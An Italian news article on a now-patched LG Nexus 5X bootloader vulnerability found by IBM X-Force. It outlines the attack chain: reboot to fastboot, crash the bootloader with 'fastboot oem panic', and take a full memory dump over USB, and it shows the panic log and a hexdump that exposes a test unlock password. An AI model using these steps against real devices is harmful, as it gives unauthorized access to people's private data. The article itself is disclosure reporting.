Una vulnerabilità su LG Nexus 5X permetteva l’accesso non autorizzato alla memoria del dispositivo: fortunatamente è già stata risolta lo scorso Marzo, ma vediamo più nel dettaglio di cosa si trattava.

Il gruppo di ricerca sulla sicurezza IBM X-Force Application ha recentemente scoperto una falla nelle versioni di Android 6.0 MDA39E e 6.0.1 MMB29V, risolta a partire dalla MHC19J di Marzo 2016: questa consentiva (in un modo non propriamente immediato) a un eventuale malintenzionato di avere accesso ai dati e alle informazioni contenute nel Nexus senza passare dallo sblocco.

La vulnerabilità era sfruttabile anche non fisicamente attraverso l’Android Debug Bridge (più comunemente chiamato solo ADB) infettando il PC di uno sviluppatore dotato dei permessi ADB con un malware o utilizzando caricabatterie “modificati”.

Il funzionamento poteva essere sostanzialmente il seguente: il malintenzionato poteva riavviare lo smartphone nella modalità fastboot (procedura che non richiede alcuna autorizzazione) attraverso la semplice pressione del tasto volume giù durante il riavvio (o attraverso il comando adb reboot bootloader); tale modalità esponeva l’interfaccia USB anche nei device bloccati.

Attraverso il comando fastboot oem panic il bootloader poteva essere mandato in crash:

[38870] fastboot: oem panic
[38870] panic (frame 0xf9b1768):
[38870] r0 0x0f9972c4 r1 0x4e225c22 r2 0x7541206f r3 0x74206874
[38870] r4 0x0f9972e8 r5 0x0f96715c r6 0x0f9972f0 r7 0x0f9670ec
[38870] r8 0x0f92e070 r9 0x00000000 r10 0x00000000 r11 0x00000000
[38870] r12 0x0f92e070 usp 0x0f9650ec ulr 0x00000000 pc 0x0f99c75c
[38870] spsr 0x0f936964
[38870] fiq r13 0x0f989490 r14 0x00000000
[38870] irq r13 0x0f989490 r14 0x0f9004f4
[38870] svc r13 0x0f9b16f0 r14 0x0f92dd0c
[38870] und r13 0x0f989490 r14 0x00000000
[38870] sys r13 0x00000000 r14 0x00000000[38880] panic (caller 0xf936964): generate test-panic

Nelle versioni vulnerabili del bootloader tale procedura poteva esporre la connessione USB, consentendo al “cracker” di ottenere un memory dump completo di Nexus 5X utilizzando strumenti come QPST; a questo punto il file completo (contenente anche l’eventuale password di sblocco) sarebbe stato a completa disposizione sul PC.

Come potete vedere, simulando un attacco di questo tipo, la password scelta per l’occasione (“buggybootload3r”) risulta in bella vista nel memory dump:

> hexdump DDRCS0_0.BIN | grep -10 bootloa

..

2675d060: 6f 00 69 00 64 00 2e 00 – 73 00 65 00 72 00 76 00 o.i.d… s.e.r.v.
2675d070: 69 00 63 00 65 00 2e 00 – 67 00 61 00 74 00 65 00 i.c.e… g.a.t.e.
2675d080: 6b 00 65 00 65 00 70 00 – 65 00 72 00 2e 00 49 00 k.e.e.p. e.r…I.
2675d090: 47 00 61 00 74 00 65 00 – 4b 00 65 00 65 00 70 00 G.a.t.e. K.e.e.p.
2675d0a0: 65 00 72 00 53 00 65 00 – 72 00 76 00 69 00 63 00 e.r.S.e. r.v.i.c.
2675d0b0: 65 00 00 00 00 00 00 00 – 3a 00 00 00 00 0d c4 b6 e……. ……..
2675d0c0: 6d 42 cd 0a b1 00 00 00 – 00 00 00 00 00 00 00 00 mB…… ……..
2675d0d0: 00 00 00 00 00 92 86 33 – e3 79 92 8b b7 d4 77 f5 …….3 .y….w.
2675d0e0: 94 7f d0 2b fb b8 6e cc – 98 3b 9a a7 0d 7c 60 f6 ……n. ……..
2675d0f0: d7 70 68 c2 14 01 00 00 – 0f 00 00 00 62 75 67 67 .ph….. ….bugg
2675d100: 79 62 6f 6f 74 6c 6f 61 – 64 33 72 00 62 75 67 67 ybootloa d3r.bugg

In questo modo il malintenzionato sarebbe riuscito ad avere completo accesso alla memoria del dispositivo; fortunatamente tutto ciò è già stato corretto e non risulta più possibile. Per maggiori dettagli vi invitiamo a recarvi al link della fonte qui in basso.